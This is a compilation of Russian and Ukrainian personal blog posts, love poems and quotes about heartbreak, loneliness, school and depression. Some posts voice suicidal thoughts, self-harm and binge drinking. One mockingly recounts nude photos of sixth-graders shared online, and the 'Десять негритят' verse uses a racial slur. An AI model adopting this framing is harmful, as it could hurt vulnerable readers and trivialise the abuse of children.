Девочка, которая пьет успокоительное или антидепрессанты, чтобы почувствовать себя нормально, я люблю тебя.
Девочка, которая режет свои руки и ноги, я люблю тебя.
Девочка, которая ненавидит своё тело, я люблю тебя.
Девочка, которая натягивает через силу улыбку на свою лицо каждое утро, я люблю тебя.
Девочка, которая ненавидит город, в котором живет и людей, окружающие её, я люблю тебя.
Девочка, которой кажется, что ее никто не любит… Я люблю тебя.

Желаю счастья тебе и той, что обнимаешь,
Надеюсь ты её любишь, ведь она столько прощает,
Я не пропала, ты главное не вспоминай,
Прижми к груди её крепко и засыпай.

это, конечно, очень эгоистичное чувство, но я все равно уверена в том, что таких, как я, в том кабинете больше не будет. пожалуй, будут те, кто сможет проявить хотя бы одну треть моего интереса и восторга, но такое доверие и понимание между учителем и учеником - шанс один на миллион, это точно. близится тот момент, когда все сделанное и сказанное вернется зачинщику случившегося, бумеранг уже взял обратное направление, я чувствую это. тот самый огонек уже гаснет, потому что наставник никогда раньше не бросал начатое, не уходил до завершения работы над олимпиадой, оставляя ребят одних, просто потому что нужно ехать по бытовым делам, помогал нам даже с жуткими головными болями, не приходил поиграть в волейбол на каких-то смешных полчасика.

вот только что будет, когда все демоны выберутся наружу? когда свет погаснет?

привет, у старого друга все отлично, он 1,5 года в счастливых отношениях, все радует на учебе и работать начал, деток учит малых и больших, все классно. знаешь, он о тебе не думает вот совсем, зимой думал, весной думал, летом думал, но уже меньше, пока судьба не столкнула вас в вагоне метро. А осенью уже не думал и зимой уже не думает, отпустило, - говорит, - совсем. Спокойно ему, жизнь у него наладилась. Друзья верные и настоящие, любимый и любящий - теперь один человек. Но пойми ты, нельзя врываться в его жизнь каждые пол года без предупреждения, когда тебе скучно или нахлынула меланхолия. Старому другу приходили в голову мысли, что он бы был не против оставаться старым другом. Но старый друг трижды наступал на одни и те же грабли и каждый раз верил, что грабли изменились. И сейчас старому другу страшно, в нем поселился страх и он уже на уровне рефлексов. В нем есть небольшое беспокойство, что ты не уходишь из его мыслей, но, пожалуйста, оставь его. Ты не сможешь остаться в его жизни, ты снова уйдёшь.

НО сказать, что я не достигла никакого прогресса за все эти месяцы, было бы несправедливо. например, я больше не погружаюсь в упорное самоуничижение или приступ бессильной ярости от каждого негативного комментария мамы. да, у других людей могут быть более спокойные и более понимающие мамы, но что поделать, у меня такая, и она в общем-то тоже делает как может и старается, и вообще неплохая, если так в общем и целом посмотреть, так что chillin', chillin' all the time. что ещё. я не впадаю в панику от неотвеченных сообщений, фраз без смайлов, забытых дат. в этом плане тоже стараюсь чиллить и доверять людям. конечно, такой бесконечный чилл немного отдаётся пустотой внутри, но это побочный эффект. стараюсь перестать воспринимать критику того, что мне нравится, как неприязнь лично ко мне. и наоборот, стараюсь перестать подстраивать свои интересы под кого-то другого (этому человеку не нравится вот это, а мне нравится, КАК ЖЕ ТАК, нужно срочно разлюбить это, а то общению не бывать). но эти все достижения, хоть и облегчают мне жизнь, главного не затрагивают, и, по большому счёту, ничего не меняют.

в субботу иду себе по школьному коридору, как навстречу выходит директор школы и учительница по русскому языку и литературе. обе ко мне хорошо относятся, спросили о том, как мои дела, собираюсь ли я в школу после университета, потому что они меня, вообще-то очень ждут. я замялась и сказала, что не знаю. директор - женщина достаточно прямолинейная, поэтому, слегка повысив голос, стала спрашивать о том, почему это я вдруг не знаю. в этот самый момент из кабинета напротив выходит наставник, поэтому вопрос обрушивается и на него.

—представляете, ксюша вон говорит, что не знает, придет ли к нам в школу! вторым физиком! вам в помощники, между прочим!

—ммм, не знает она…

—!!!

—ЗАТО Я НАШЕЛ НАМ ХИМИКА БЛА-БЛА-БЛА ХАХАХАХА

—ХАХАХАХА ЛОВКО ВЫ ПЕРЕВЕЛИ РАЗГОВОР НА ДРУГУЮ ТЕМУ

—ХАХАХАХА

я не перестаю скучать по нынешним временам, не перестаю надеяться на то, что все образуется, но я уже точно не хочу целенаправленно идти на кафедру педагогики, потому что маневрировать по этим скользским стопам нет ни сил, ни терпения, ни желания.

Картинка с тегом «single, love, and couples»

Дамы, что будет дарить своим суженым-ряженым на ДСВ?)

У меня было много идей, но сошлась на: корзинка в форме сердечка, в ней кружка с парочкой, деревяная валентинка-магнит и какие-нибудь сладости в форме сердечек или 50 пилюл с записочками.)


На темний відчай не зважаю,

Тебе чекаю, так чекаю.

Щоб знову глянути у очі,

В твоїх очах весняні ночі.

В твоїх очах квітнуть сади,

Там ріки чистої води.

В твоїх очах казкове місто,

Ягід калинових намисто.

У них безмежна глибина,

Краплина терпкого вина.

В очах твоїх ранкові роси,

І віт вербових довгі коси.

В очах твоїх птахів політ,

В твоїх зіницях цілий світ.

Душі твоєї два віконця,

Мене зігріють жаром сонця.

Ельвіра Довгопола

вчера ночью никак не могла уснуть. сидя с телефона, обнаружила, что можно читать блоги, у которых удален html-код, поэтому зашла на свой schmosby. раньше очень любила перечитывать свои записи, а сейчас, здесь, с трудом и комом в горле. расплакалась не только от воспоминаний, но и от того, что даже при особом желании не могу больше писать так, как писала буквально полгода назад. я хочу это исправить, но пока не придумала, что нужно для этого сделать. буду думать, ведь около пяти лет все эти мои заметки помогали мне понять, каким человеком я становлюсь, какие события в жизни привели меня к настоящему, что я чувствую в определенный момент времени. нельзя позволить отнять у меня еще и это.

Стало дуже. Тебе. Мало

Запишу твій голос на платівку
І вмикатиму завжди, коли тебе нема.
Твої знімки роздрукую з фотоплівки,
Розглядатиму щораз, коли сама.

Одягну вподобані тобою шорти,
Заварю вподобаний тобою чай,
Навіть кисню в мене мало у аорті!
Коли ти не поруч, скільки не вдихай.

Я шукатиму тебе усюди -
В спогадах серпневих вечорів,
Серед площі, сповненої люду,
У під'їздах й серед тонни слів.

Заповнятиму тобою весь свій простір,
Присвячу для тебе весь свій час,
Я в думках створю наш спільний острів,
Побудую дім тільки для нас!

Вибач, мабуть, я з'їжджаю з глузду,
Щось зі мною, мабуть, не нормально…
З нетерпінням жду твого приїзду,
Бо мені в цих клятих стінах
Стало дуже.
Тебе.
Мало.

римованими римами. незримими.
нестримними. не стри мене.
не спи в мені. закрий в собі.
закрий себе. за крилами.
за спинами. заспи мене.
засни в мені. сухими дирами.
поринь в мене. вдихни мене.
в легені теплими. холодними.
холодні ми. потопленні.
потоптанні. потопами.
запаленні соломою. солоною.
не наступай. тремти. вдихай.
не відкривай. не відпускай.

тримай. тримай. тримай.


Если меня вырвало от стакана святой воды, значит ли это, что я изгнала из себя дьявола или что мне лучше все же сделать гастроскопию? Вот в чем вопрос.

Не хотела писать пост, но передумала

Я уже второй день заставляю себя верить в то, что я не люблю свою бывшую и вообще я никого не люблю, и может это даже правда, но вот я все равно сейчас плачу

Но вообще я плачу из-за грустных фанфов, которые решила перечитать. И да, они все были про расставания и пара про смерть

Мне тупо не хватает обычной заботы и внимания. Я скоро буду вешаться от одиночества

Надо было соглашаться встречаться с Даней, ей богу

Нет, мне не нужны отношения, да и кто сможет терпеть мою социофобию и вечный сарказм?

У меня тупо дифицит обнимашек /поставила себе диагноз\

Поэтому я жду март, кога староста привезет мне бухла из дьютика и я в одиночку напьюсь. А еще будет очень иронично, если я останусь на 8 марта одна и так же напьюсь в одиночку, как и впрошлом году, когда мое солнце меня кинуло и променяла меня на свою сестру или подругу? а, не важно. Прикиньте, у меня до сих пор стоит на полке ее подарок, а уже сука год прошел. Надо его маме отдать

Очень хочется забыть все это говно и начать жить заново. А еще хочется улыбаться, а не ходить с ебалом кирпичем, но я не могу. Серьезно, я отвыкла улыбаться

Завтра кого-нибудь обниму, сейчас мне этого действительно не хватает

"Все вокруг заставляет меня скучать по тебе."

Знаете, можно до глубины души влюбиться в фильм. Я влюблена в "Дорогой Джон". Для меня это шедевр! Прекрасный фильм с таким трогательным сюжетом, 2 любимых актёра в одном фильме, каждое слово прочувствовано, каждая фраза прожита, каждый взгляд пронизан чувствами. Шедевр - это когда хочется кричать: Зачем ты так поступаешь, зачем ты так делаешь, это неправильно!! Но потом понимаешь…, наверное, это было лучшее решение.

"Я влюбился в неё, когда мы были вместе, и полюбил ещё сильнее за годы разлуки."

Я могу пересматривать этот фильм много-много раз, каждый раз видеть его по-разному, но всё так же не могу сдержать слёз. Наверное, для меня этот фильм останется неким прожитым моментом. Такое чувство, что всю боль, через которую прошли актёры, прошла и я.

"Наши глаза встретились, и, клянусь, я услышал, как что-то щелкнуло, словно ключ повернулся в замке. Поверьте, я не романтик, никогда не верил в любовь с первого взгляда и до сих пор не верю, но в тот момент я реально что-то почувствовал и не смог отвести взгляд."


Ну разве от этих фраз не бегут мурашки по телу, не щемит где-то глубоко внутри!? Я не могу передать словами то, что вызывает у меня этот фильм. Наверное, у каждого есть свой прожитый момент-фильм, с которым Вы стали старше, умнее, чувственнее. Если Вы не смотрели этот фильм - обязательно посмотрите. Он не оставит в покое Ваши сердца и души!

"Две недели, вот и все, что у нас было. Две недели, чтобы влюбиться в тебя по уши. А теперь мы расстаемся на год, но что нам год разлуки, если у нас были эти две недели."

У меня все плохо с ведением дневников, но моя неуемная страсть к перечитыванию и форсированной ностальгии все же сильнее. Вай нат, попробую еще раз. Сейчас половина первого, мой ленивый вторник подошел к концу и мне предстоит насыщенная среда с тремя репетиторствами + нужно нормально начать работать над мини-квестами и таки написать отчет по ВолКу, а то незавершенный гештальт меня мучает. Еще хочу наконец Реми испытать, сегодня наконец-то забрала их с почты** Целую Фассюшу и гуднайтушков: 3

«Десять негритят»

(классический перевод Беспаловой Л. Г.)

Десять негритят отправились обедать,
Один поперхнулся, их осталось девять.

Девять негритят, поев, клевали носом,
Один не смог проснуться, их осталось восемь.

Восемь негритят в Девон ушли потом,
Один не возвратился, остались всемером.

Семь негритят дрова рубили вместе,
Зарубил один себя — и осталось шесть их.

Шесть негритят пошли на пасеку гулять,
Одного ужалил шмель, их осталось пять.

Пять негритят судейство учинили,
Засудили одного, осталось их четыре.

Четыре негритёнка пошли купаться в море,
Один попался на приманку, их осталось трое.

Трое негритят в зверинце оказались,
Одного схватил медведь, и вдвоём остались.

Двое негритят легли на солнцепёке,
Один сгорел — и вот один, несчастный, одинокий.

Последний негритёнок поглядел устало,
Он пошёл повесился, и никого не стало.

[x]

как же мне хочется именно в этот момент иметь такую силу выдержки и духа, как у Скарлетт О`Хары чтобы сказать себе: "не буду думать об этом сейчас, подумаю обо всем завтра", и в конечном итоге забывать о проблеме насовсем, закидывать ее в самый глубокий ящик

Вот и добрался я наконец до сюда, чтобы снова рассказать вам какую-нибудь хренотень. А хренотень в моей жизни, то есть, скорее в нашей школе происходит несусветная. Долго думал, можно ли о таком писать, потом решил, что не можно, а нужно, так что…

ВНИМАНИЕ! НЕ ПРОХОДИТЕ МИМО! СКАНДАЛЫ ИНТРИГИ РАССЛЕДОВАНИЯ ПРЯМО ЗДЕСЬ И, МАТЬ ВАШУ, СЕЙЧАС!

Около недели назад в школе появились новые звезды. В паблике "Подслушано" нашей школы кто-то выложил коллаж, где голые мальчик и девочка из 6-го класса в кровати явно не сонеты друг другу читают. Повторяю: из 6-го класса.

Естественно, это доходит до учителей, собирают всех на педсовет, завуч по воспитательной работе уже сидит без веры в человечество в глазах, все ищут виноватых, ну и все в таком духе, вы представляете. Девочка клянется-божится, что не она выложила эти фотки в сеть.

Спустя пару дней выясняется, что в кровати эти ребята были не одни, с ними был еще парень, который, в свою очередь, клянется, что его заставили. Такой, знаете, тройничек по принуждению, агамс. Как можно было заставить, я слабо представляю, ну да ладно.

Школьный психолог после беседы с той девочкой говорит, что мыслит она уже как нюхнувшая пороху прожженая тетка, говорит, что хочет серьезных отношений, и не волнует. Серьезные отношения с двумя мальчиками в кровати, да-да.
К слову, воспитывается эта девочка бабушкой, и при беседе с ней бабушку возмутил не сам факт такого поведения внучки, а то, что это все происходило на ее, бабушкиной, блин, постели.

А в паблик этот фотоколлаж выложила подружка этой девочки, которой она скинула фотки со словами "СМОТРИ ЧЕ ЕСТЬ".
А теперь просто вдумайтесь и осознайте, насколько уныла ваша жизнь.
Берегите себя и своих близких: |

Навчи мене літати.

Над морем.

Океаном.

Я хочу птахом стати.

Вільним.

Бездоганним.

Я хочу жити з вітром.

І дощем вмиватись.

Для тебе бути Світлом.

У росі купатись.

Навчи мене літати.

Полечу я світом,

Я буду вільна жити,

І літати з вітром.

Прикуривать две одновременно, чтобы потом одну отдать. Обмениваться сигаретным дымом. Пить красное сухое, наблюдая за проходящими мимо кораблями. Целоваться, пока машина едет под 100. Засыпать на плече по пути домой. Такое бывает в жизни?

вот моя терапевт сейчас сказала бы что-то вроде 'ебана ну ты и закрутила нахуй', перефразировала бы все мои выверты простым языком, развеяла бы указанные во всей этой каше тезисы один за другим и в конечном итоге убедила бы меня в том, что это Норма, и я просто занимаюсь преувеличениями. и я бы вышла такая довольная из кабинета и опять на несколько дней мне показалось бы, что Жизнь Прекрасна, и я была бы такая I AM HUUUUUUMAAAAN AND I NEEEED TO BE LOOOOVED

когда на протяжении большей части твоей жизни тебя потихоньку заставляют усвоить, что если ты не Самая Красивая, не Самая Умная, не Самая Талантливая, то ты недостойна любви и существования, и вот после нескольких мучительных лет самоненависти ты такая вроде бы чего-то достигла и тебе все говорят, какая ты прекрасная-распрекрасная, но ты ничего не чувствуешь и тебя это не радует и не заботит, потому что ты травмированный на всю жизнь робот, чья личность состоит целиком из усвоенных когда-то психических защит и механизмов, скрывающих ранимое Ничто, беспрестанно опасающееся за свое существование :) )) )) )) ) и ты не умеешь принимать любовь и даже слабо можешь ее чувствовать, потому что в твоем понимании Любовь Надо Заслужить, потому что тебя так учили, и ты всю жизнь будешь пытаться Заслужить, но может быть даже не столько от каких-то собственных травм или чего-то в этом духе, нет, а от страха, что если наконец Заслужишь, то тебе это будет уже и не нужно. поэтому даже в самых диких моих фантазиях, даже в моих снах, которые я не могу контролировать - абсолютный максимум - это разрешение мне на любовь. мне разрешают себя любить. я опять скатилась вникуда, постец-то на самом деле о том, что я очень эмоциально деформированна, и начинает казаться, что уже слишком поздно что-либо с этим делать.

— кому нужны мои боль, отчаяние и слабость?

— какая боль, я тебя умоляю, тебе 18, ты что рак крови пережила?

и ведь есть же люди, свято верящие, что боль, наполняющая человека, обусловлена лишь определенными очевидными огромными бедами.

Ты полюби меня, я не такая как они! Мне не важны, твои все достижения. Мне важно, что бы не забыл же ты, О том, когда у меня день рождения. Ты полюби меня, я не такая как они! Я не умею притворяться, что люблю. Я не смогу обманывать других, Когда тебя в себе не нахожу. Ты полюби меня, я не такая как они! Ты мне не веришь, я и не стараюсь. Ты просто полюби и посмотри, Что верные, все ещё остались!

Я настолько пьяна, что не вижу почти нечего и этого недостаточно!Я смешала всё, что можно:вино, пиво, коньяк, водку, вишнёвку.Вся футболка уже мокрая и чёрная от слёз вперемешку с подводкой.Шла домой и наконец, когда дошла до темных кварталов чуть не задохнулась.Как жаль, что всего лишь "чуть".Я впервые в жизни начала думать о том, что лучше бы я не рождалась вовсе.

Ну вот, закончился мой второй день диеты и первый день учебы. Не скажу что что-то было в этом дне особенного. Как обычно ужасно скучные пары, сонные однокурсники и разряженный телефон. Диета особо мне никак не мешает и никакого дискамфорта не вызывает. Но единственное, что для меня невыносимо трудно-это прожить без кофе и шоколада!!! Сегодня чуть не сорвалась и не купила себе кофе, но потом я вспомнила мою цель, и переборола свое желание.

героймоихснов так и не появился, разве что смс в 3 часа ночи, когда я уже спала. В общем больше от него ни ответа ни привета, как-то так. Больше не могу терпеть это все и намерна поговорить с ним. Но знаете, опять телефонный разговор, опять разговоры "по душам", опять "тысамаялучшаямоядевочка", "скучаюпотебеоченьоченьочень" и все тому подобное-я устала даже от этого. Я хочу увидеть его, я хочу поговорить с ним в живую, обнять, поцеловать, хотябы ненадолго. НО у него наверняка какие-то дела с которыми он все никак разобраться не может и "яобещаюскоромы увидимсязайка". Терпеть и ждать я вечно не хочу, как бы сейчас я не была заоблачно влюблена, такого отношения к себе я точно не хочу. Каждый день терзать себе голову нужнаилиненужна, переживать, накручивать себя. А он то ласковый и звонит постоянно, то лишний раз когда мне плохо не спросит о моем самочувствие. В общем надо все таки как то увидится и поговорить, а там видно будет(поменяю тактику, если не выйдет, то все-конец) блинблинблин

снежная королева.больно, но потерпим. устала, но не пожалуемся.

Для виду ледяное, каменное сердце. Просто жесть какая леди.Я б сама в такую влюбилась и отдала, как завороженная, свое сердце. Как в песне Канье Вэста HOW COULD U BE SO HEARTLESS? Я делаю больно в ответ на боль, я щелочь, которая разъест все, я атомный взрыв, который сотрет с лица земли все. Внутри каждого такого человека есть то, что никто не увидит. Слишком слабо для меня выливать это. Все сопли, все то, что на самом деле у меня внутри.

Меня ни для кого нет. Я ни для кого не существую и никто давно не скучает по мне. Я мечтаю о том, чтобы чувствовать необходимость. Чувствовать то, что я не биологическая ошибка, я не лишняя, я нужная и незаменимая. Мне кажется, что без меня ничего не изменится, не дрогнет ничего, все будет так, как было. Может быть даже лучше. Отец вспомнил меня 22 числа. Ровно в мой день рождения, после этого даже не звонил. И для чего эти дни рождения? Я существую остальные 364 дня тоже. Не только в свой день рождения. Мама не замечает того, что я делаю для нашей семьи, для нее. Я всегда виновата, я всегда отрицательный герой.
Он не понимает меня, давит. И мне от всего больно. И сказать, что я хочу получить ту любовь. Да, хочу. А с другой стороны идите нахуй, оставьте себе. Однажды я превращусь в глыбу, которая никогда никого не полюбит. Хочу закрыться, зарыться, застегнуть молнию внутри себя. Спасибо, люди.

Почти физически плохо.

Пойми, дорогая, что это временно; и даже то, что ты до сих пор травмирована, не мешает тебе любить. Это прекрасно. Это не твоя судьба, это просто поворот на твоём пути. Не существует ни единого человека на Земле, который скажет тебе про то, каким станет твоё будущее и с кем ты будешь идти всю свою жизнь. Так что используй этот поворот, чтобы вырасти, чтобы растопить себя и научиться любить по-настоящему, а не как девочка. Да, это не взаимно; и в этом можно найти немало хорошего.

Попытайся быть собой из будущего и приблизиться к этому как можно скорее.

И… я люблю тебя. По крайней мере, знай, что если ты полюбишь себя, это точно будет взаимно. И глупо не любить себя, когда кто-то тебя не любит; в мире полно людей, которые не будут этого делать.

Божечки, почему меня так пугает то, как меня тянет к Илье? Он и правда особенный. Не такой, как все. Сердце бьется просто невероятно сильно. Как же страшно. Страшно, что с ним я забываю про все. Не существует ничего, кроме нас с ним. Не существует времени.

Кажется, я попала.

кусочек моей нежности

Приветствую вновь)

Это возвращение уже в который раз? Я устала считать, если честно, меня то затягивает вью, то вновь выбрасывает. Хотя всевсе ваши посты читать очень интересно. Ну и вот уже прошло пол года моего второго курса и моя жизнь просто каждый раз переворачивается на 90 градусов. Сначала вокал и вступление в группу, потом затянул квн с кучей успешных выступлений(и не очень), создание своей команды(кстати сейчас готовимся к кубку Студлиги КВН), множество новых друзей и знакомых. Невероятные тусовки и вечеринки, не верится, что студенческая жизнь бывает такой. Разбитое сердце на 1 курсе, куча переживаний, слез, попытки восстановить себя. Потом пошла на риск и привет, у меня появился мой А., к которому я чувствую безграничную нежность, мне сложно сказать, что люблю его, но я влюблена и это с каждым днем растет. У меня есть мои девочки, которые как могут, но поддерживают меня, у меня до сих пор в голове не укладывается, что все это происходит со мной, все слишком ярко. А самое приятное, что в родном городе остались люди, ради которых хочется приезжать и проводить круто время. в общем у меня ооочень много всего нового. Я скучала.

Всем пис)

Какая же прихотливая эта штука вдохновение. Раньше оно у меня всегда было. Знайте я тот человек, который считает, что писатель рождается лишь в страданиях. Но я видимо перестрадала, у меня нет больше почвы от которой я могу отталкиваться каждый день. Мое вдохновение сиеминутно. Мне что-то приходит в голову, я начинаю писать, но затем как-то сдуваюсь. На следующий день у меня даже желания нет продолжать. Вот и разбросан мой недоталант по обрывкам незаконченных недотворений.

Я все чаще читая книгу, восхищаюсь авторами. Я поражаюсь как им хватает чего-то, что позволяет не только завершить сюжет просто до логичного конца, но еще и облечь это в богатую форму.

Самое обидное, что я и бросить не могу. Не могу остановиться. Вот висят мои наброски в папке, но меня как будто совесть перед ними мучает и я заставляю себя писать. Или наоборот, не пишу ничего и голову начинают переполнять мысли, они там как рой какой-то жужжат, мешают жить и мне становится необходимо хоть каким-то способом выбросить это. Так и рождаются эти мои недоделки.

Чем бы вы занимались, если бы вам не надо было зарабатывать деньги? Этот вопрос меня преследует. Абсолютно рандомно мне попались две книги подряд о том, как важно ПРОЖИВАТЬ свою ЖИЗНЬ, решаться претворять свои мечты в реальность.

Проблема только в том, что у героинь этих книг, как и у героинь моих любимых сериалов, уже были и мечты, и цели. Оставалось только взять свою судьбу в свои руки и начать действовать.

А я вот не знаю, чем бы я хотела заниматься всю жизнь. Мне нравится макияж. Мне нравится прикасаться к косметике и кистям, чувствуя, как меняется человек, как загораются его глаза. Но не меньше мне нравится писать. Точнее, не так. Мне нравится ПРИДУМЫВАТЬ. Еще больше я люблю слушать и, чего уж там, давать советы всем подряд. Раскладывать свою и чужую жизни.

Но.. Во всем есть это идиотское НО! Я бы посвятила свою жизнь визажу, но понимаю, что маленький город для этого не создан. Я бы хотела смешить людей и рассказывать им истории, но кому это нужно? Оказывается, найти себя - очень сложно. Я бы хотела иметь возможность попробовать этот мир. Поучиться миллиону ремесел и найти что-то, от чего я чувствую себя счастливой. Самореализованной. Как-то так…

Когда вы находитесь с кем то, кто вас полностью принимает — это терапия. Происходит исцеление.

© Бхагван Шри Раджниш (Ошо)

Живи так, как хочешь ты, а не как ожидают от тебя другие. Не важно оправдаешь ты их ожидания или нет, умирать ты будешь без них. И свои победы одержишь сам!

— Конфуций

То странное чувство, когда ты сидишь на кухне у своего бывшего, рядом с тобой его нынешняя девушка. А пока её не было, задал вопрос: "Ты что с парнем рассталась?". В его понимании я не могу так просто появиться, вот ведь неожиданность. Он смешной, мне кажется, с девушками ему крупно не везёт. Потому что либо он косячит, либо они его используют, другого не дано. Вот и в очередной раз его используют. А он хочет от неё детей. Зато своими разговорами я её от этого отвлекала, он меня чуть ложкой не убил за это. Дурак, тебя же спасаю. Но вообще вся сегодняшняя ситуация вызывает во мне лишь улыбку.

Пройдёт лет двадцать, и ты будешь больше сожалеть о том, чего не сделал, чем о том, что сделал не так.
Потому отбрось колебания. Расправь парус и беги прочь из безопасной гавани. Лови попутный ветер. Исследуй. Мечтай. Делай открытия.

Марк Твен

Люди говорят одно, а делают другое — это один из самых забавных спектаклей, которые предлагает нам жизнь.

То, каким человеком ты станешь через пять лет, определяет два основных фактора: люди, с которыми ты общаешься, и книги, которые ты читаешь.

Робин Шарма

Сегодня я хочу поговорить на тему гомосексуализма.

Почему многие люди против этого? Секс втроем - пожалуйста, а отдельно лесбиянки и геи - это фу? Люди, да вы сами себе противоречите.

Любой человек, имеет полное право любить того, кого он захочет. И не Вам об этом судить. И с чего вообще взяли что это не нормальные отношения? А вдруг не нормальные это когда мужчина и женщина? Да и вообще, в нашем мире, никогда не было ничего нормального.

Вы только вспомните сколько выдающихся людей были гомосексуалистами: Леонардо Да Винчи, Фреди Меркьюри, Элтон Джон и т.д. Все эти мужчины оставили значимый след в истории и культуре человечества, их имена и достижения известны большинству современных людей. Статистика гласит, что среди талантливых, ярких и успешных творческих деятелей процент геев действительно высок. Возможно, в силу своей нестандартности геи смотрят на мир иначе, а может, тоньше его чувствуют. Неустроенные в жизни, зачастую бездетные, они вынуждены полностью отдаваться творчеству.

Наконец, говорят, что гомосексуализм - нарушение законов природы. Любовь, не ведущая к продолжению рода - бесполезная трата сил. А как же искусственное оплодотворение? суррогатное материнство? да в конце концов, столько детей бросают в детских домах.

Итог: люди которые считают гомосексуалистов психами, сами имеют в этом плане серьезные проблемы. Ведь каждого из вас, абсолютно каждого , в самых темных уголках вашего разума интересовал вопрос: А КАК БЫ МНЕ БЫЛО В ТАКИХ ОТНОШЕНИЯХ ?

задумайтесь.

Рябятки, всё что творится в моей жизни похоже на пиздец. Разложим всё по полочкам.

Учёба. Наконец то я защитила свой диплом, не люблю разговаривать о нём. Но я сделала это, сколько сил я вложила в него не передать словами. Надо было начинать раньше, а не браться в последний момент. Но с ним поконченно, вот и весь разговор.

Работа. ПЗДЦ! На данный момент у меня в сумке лежат два билета в Москву на 18 число, там уже снята квартира для меня одной и ждёт работа с высокой заработной платой. В родном городе мне нужно просто приехать и расписаться в одной бумажке и работа у меня в кармане. Но в этом всём замешан один человек которого я знать больше не хочу. Но об этом позже. Я остаюсь у чёрта на куличках и сама добиваюсь всего чего желаю.

Артур или последняя мразь. Я никогда не доверяла ему. Но то что он сделал убило меня, он распорядился моей жизнью. Решил всё до последнего, я нашла в машине распечатку всех моих звонков, смс, сообщений с контакта. Он знал каждый мой шаг. Меня это просто ошарашило. Представляете вот идёшь по улице, а за тобой следят. Аж мурашки по коже от этого.

Личная жизнь. Начну с того что я очень некрасиво поступила, прости меня если сможешь и забудь. Я не твой человек, но я не хотела делать тебе больно.

А теперь можно и сказать про человека который каждый день выводит меня из себя, я прекрасно понимаю что это мимолетное увлечение, но мне с ним весело и спокойно одновременно. И пускай он меня не слушает, и пускай он не хочет знать что у меня на душе, и пускай. Я не хочу больше никому открывать свою душу.

курю в окно, один, - считай, что поздний ужин. пивная на углу. очередной запой… кого-то ждут домой, кому-то кто-то нужен. меня нигде не ждут, да и Господь со мной. февраль привел весну. сосед привел подругу. в периметре двора ложится снег на след, где в поиске меня или ходьбы по кругу, отбрасывает тень мой черный человек. один поэт сказал, что он однажды будет. по мне, так хоть сто раз, конец - всегда финал. законченный роман. обрывки чьих-то судеб. прервавшийся полёт. последний терминал. без истин жизнь скучна. под вечною луною замызганный сюжет о смысле и вине. привет передает вчерашнему запою мой черный человек в распахнутом окне. (с)

я помню, видел эту штуку с комнатой забитой май литтл пони, но это вообще вынесло

самое главное - русский текст на вещах ХDDDDDD

1. Джеймс "Баки" Барнс (комиксы/фильмы Marvel)

2. Чарли (книга/фильм "Хорошо быть тихоней")

3. Стайлз Стилински (сериал "Волчонок")

4. Барри Аллен (сериал "Флэш", комиксы)

5. Оливия Мур (сериал "Я - Зомби")

6. Стив Роджерс (комиксы/фильмы Marvel)

7. Спенсер Рид (сериал "Мыслить как преступник")

8. Перси Джексон (книги/фильмы о Перси Джексоне)

9. Томас (книги/фильмы "Бегущий в лабиринте")

10. Эллиот Алдерсон(сериал "Мистер Робот")

Мне так нехватает ВСЕГО! Поцелуев, секса, объятий и нежностей. Не представляю, как можно выживать так долго, видясь не каждый день. Это просто невыносимо, мне МАЛО! Мало тебя, всегда мало, особенно сейчас, после стольких нервов. Хочется, чтобы сорее потеплело, чтобы можно было гулять в парке и проводить время дома, без этого жить просто невозможно. Я хочу тебя!!!!!! Больше не могу!!!!!!!!

Я влюбчива. Иногда заклинит на ком-нибудь мой механизм выработки любви и хоть в лес, хоть на плаху - не остановить. Неважно, какого человек пола, ибо эта не та любовь, когда хочется касаться. И вот до дрожи пробирает.
Писала здесь когда-то о преподавателе по литературе. Сегодня слушала её целых две пары, глаз не могла оторвать. В лицах рассказывает, стихи Пастернака читает так, что хочется подобно ей его увидеть, подобно ей полюбить. И такая она сильная и хрупкая, как настоящая женщина. Только говорит она про Шмелева и Зайцева, а я думаю о том, почему она одинока, давно ли у неё протез, … ведь даже никто из наших девочек, кто пишет у неё диплом, не знает, что и почему. Какую невероятную силу надо иметь, чтобы вот так - хранить в себе, хоронить в себе. И до того мне хотелось подойти и обнять её, чтобы зла вокруг неё (если есть то зло) стало меньше. Чужой крест другому непосилен, но как изжигает желание хоть минуту её долгой многолетней жизни сделать спокойной словами не передать…

А фокус в том, - твердит мне Творец, - чтобы так любить каждого.

нет, а что собственно распинаться. пару лет назад я подумать не могла о том, что так все повернется. у меня есть пара якорей, но разве это помогает не забывать себя саму? нет. все меняется, а особенно круг общения.

мне всегда хотелось (и я писала об этом в блоге) встретить себя саму из прошлого и из будущего. такие три Эллы которые убиваются по разным вещам, однако советы у всех трех будут одинаковыми: "расслабься, переживёшь, это того не стоит". ничего вокруг не стоит этих переживаний, у тебя есть ты сама и ты все можешь.

В некотором роде детский сад помогает развитию ребенка, помогает ребенку стать общительнее, облегчая тем самым работу непосредственно родителям.

Но я в детский сад я не ходила, но читать/писать научилась очень рано.

Младшая школа…там все это продолжнается. Ребенок попадает в новый коллектив, начинаются други занятия, но еще все просто…так сказать подготовка к дальнейшим нагрузкам.

Старшая школа…ну в старшей школе уже "понеслаась".

Моментами ты ненавидишь школу, тебе модет там и тяжело, но когда ты идешь в институт, ты понимаешь, что это все были цветочки. Хотя у каждого по-разному.

Лично я мало халявила в школе. Не особо и прогуливала даже. Но и примерной ученицей меня не назовешь.

Меня не впечатляют дорогие машины и дизайнерские сумки. Если ты хочешь впечатлить меня, расскажи мне о своей любимой книге. Или почему ты сменил направление посреди обучения в университете. Расскажи мне о странах, в которые ты путешествовал и приключениях, в которые собираешься отправиться. Поговори со мной о своих друзьях, и почему ты их любишь. Дай мне узнать, кто ты есть, а не что у тебя есть.

Уверенно дохожу до той самой кондиции, когда шутки про хуевость этой жизни больше не являются таковыми. И я имею в виду тот факт, что это уже не шутки, в общем-то. Смешно было, пока я была в состоянии двигаться. Сейчас же я апатично пролеживаю дни в смятом одеяле, временами натыкаясь на подгнившие куски пищи, которую мой организм упорно отвергает(я не блюю в кровать). Ежедневно я тупо листаю самые разные блоги и просто хочу, чтобы мне было достаточно члена для счастья, но как бы не так. Да вообще ничего не достаточно, потому что я отравляю своё существование. Мне обещали, что это пройдёт, но проходит только стремление функционировать.

И вот начался универ. Каждый день я делаю то, что ненавижу. Мне не нравится учёба, мне не нравится универ, не нравятся люди вокруг. Я бы ушла из универа, если бы знала, чего я хочу. Но я не знаю. Я без понятия, как мне жить.

Привет! Меня зовут Елена и я из России… Город говорить не буду так как я живу в жопе мира…. Мдаа… Жизнь, конечно, не сахар, но все равно есть свои плюсы..

